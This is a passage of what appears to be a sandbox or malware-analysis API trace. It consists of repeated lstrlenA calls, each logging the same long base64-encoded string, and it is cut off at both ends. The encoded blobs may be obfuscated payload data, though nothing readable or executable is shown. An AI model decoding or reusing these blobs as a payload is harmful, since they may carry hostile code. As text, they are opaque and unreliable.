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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="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") returned 5792 [0042.883] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq